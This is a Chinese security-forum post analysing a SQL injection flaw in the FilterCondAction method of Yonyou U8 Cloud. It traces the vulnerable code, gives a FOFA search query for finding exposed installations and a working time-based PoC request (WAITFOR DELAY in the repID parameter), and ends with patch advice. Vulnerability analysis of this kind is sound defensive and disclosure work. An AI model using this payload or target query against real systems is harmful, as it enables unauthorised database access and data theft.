问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
用友U8 Cloud系统FilterCondAction方法SQL注入漏洞分析
渗透测试
漏洞分析
用友U8 Cloud系统FilterCondAction方法存在SQL注入漏洞,攻击者可获取数据库敏感信息
一、漏洞简介 ------ 用友U8 Cloud系统`FilterCondAction`方法存在SQL注入漏洞,攻击者可获取数据库敏感信息 二、影响版本 ------ 1.0,2.0,2.1,2.3,2.5,2.6,2.65,2.7,3.0,3.1,3.2,3.5,3.6,3.6sp,5.0,5.0sp 三、漏洞原理分析 -------- 首先看漏洞位于`FilterCondAction`接口处,方法的完整路径为`nc.ui.bi.report.rep.FilterCondAction`  这里只关注下面的execute方法,完整代码如下 ```php public ActionForward execute(ActionForm actionForm) { FilterCondForm form = (FilterCondForm)actionForm; String repID = getRequestParameter("repID"); AdhocModel adhocModel = (AdhocModel)BIWebRepUtil.getRepModel((IUFOAction)this, repID); if (adhocModel == null) return (ActionForward)new ErrorForward(StringResource.getStringResource("mbirep0007")); form.setRepID(repID); FilterValueDescriptor fvd = null; IAdhocAnalyzer[] anas = adhocModel.getDataCenter().getAnalyzerModel().getAnalyzerByType(0); if (anas != null && anas.length > 0) { FilterValueAnalyzer fva = (FilterValueAnalyzer)anas[0]; if (fva.getFilterValueDescriptor() != null) try { fvd = (FilterValueDescriptor)fva.getFilterValueDescriptor().clone(); } catch (CloneNotSupportedException e) { AppDebug.debug(e); } } if (fvd == null) fvd = new FilterValueDescriptor(); IColumnData[] refFields = getRefFields(repID); if (refFields == null || refFields.length == 0) return (ActionForward)new ErrorForward(StringResource.getStringResource("mbirep0008")); FilterCondTableModel model = new FilterCondTableModel(fvd, refFields); form.setFilterCondTableModel(model); addSessionObject(getClass().getName(), fvd); ActionForward actionForward = new ActionForward(FilterCondDlg.class.getName()); return actionForward; } ``` 首先是方法接收传参`repID`,然后直接调用`repID`的有两个方法  先来看第一个,追踪进入`getRepModel`  可以看到`repID`又进入了下面的`loadRepModelFromDB`方法当中,追踪方法来到其中  最后`repID`是进了getByIDs方法当中,最终来到漏洞点  代码如下 ```php public ValueObject[] getByIDs(String[] strIDs) throws ReportMngException { int iLen = (strIDs == null) ? 0 : strIDs.length; String sWhere = null; if (iLen != 0) { StringBuffer sbWhere = new StringBuffer(); sbWhere.append("pk_reportmodel in ("); for (int i = 0; i < iLen; i++) { sbWhere.append("'").append(strIDs[i]).append("' "); if (i < iLen - 1) { sbWhere.append(","); } else { sbWhere.append(")"); } } sWhere = sbWhere.toString(); } ReportVO[] vos = null; try { vos = (ReportVO[])ReportBO_Client.query(sWhere, DimRescource.UFBI_DATASOURCE); } catch (Exception e) { handleException(e); } return (ValueObject[])vos; } ``` 分析下,这个漏洞其实和我之前分析的华天动力OA的SQL注入一样,都是append方法拼接SQL语句,恶意语句可以闭和最后的`)`号导致的  方法中使用`pk_reportmodel in ('+repID+')`这样拼接SQL,就造成了SQL注入漏洞 再根据用友U8 Cloud特性,请求前缀为`/service`和`/servlet`前缀的都经过`NCInvokerServlet`方法处理,通过获得url路径后,如果是以`/~`开头,截取第一部分为`moduleName`,然后再截取第二部分为`serviceName`,再根据`getServiceObject(moduleName, serviceName)`实现任意`Servlet`的调用 该漏洞的请求URL如下 ```php /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.bi.report.rep.FilterCondAction&method=execute&repID=1%27);WAITFOR+DELAY+%270:0:5%27-- ``` 四、总结 ---- 用友U8 Cloud系统`FilterCondAction`方法存在SQL注入漏洞,攻击者可获取数据库敏感信息 五、资产测绘 ------ FOFA语法 ```php app="用友-U8-Cloud" ```  六、漏洞复现 ------ POC ```php GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.bi.report.rep.FilterCondAction&method=execute&repID=1%27);WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close ``` `repID`参数存在注入,使用延时注入验证下,成功延时5秒  七、修复建议 ------ 安装用友U8 Cloud最新的补丁并更新到最新版本,对接口添加身份信息验证并修改对应的方法逻辑。
发表于 2025-07-17 09:55:25
阅读 ( 119 )
分类:
OA产品
0 推荐
收藏
0 条评论
请先
登录
后评论
chobits
14 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!